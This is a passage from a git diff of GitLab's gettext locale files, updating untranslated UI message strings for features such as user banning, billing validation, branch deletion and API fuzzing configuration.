+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38746,6 +39520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38827,7 +39604,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38932,6 +39709,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38992,9 +39772,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -39022,10 +39799,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -39067,9 +39841,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -39085,12 +39856,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39514,6 +40291,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39637,6 +40420,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/as_IN/gitlab.po b/locale/as_IN/gitlab.po
index f9eac030ae0..aed1158622c 100644
--- a/locale/as_IN/gitlab.po
+++ b/locale/as_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: as\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:15\n"
+"PO-Revision-Date: 2021-06-01 20:29\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
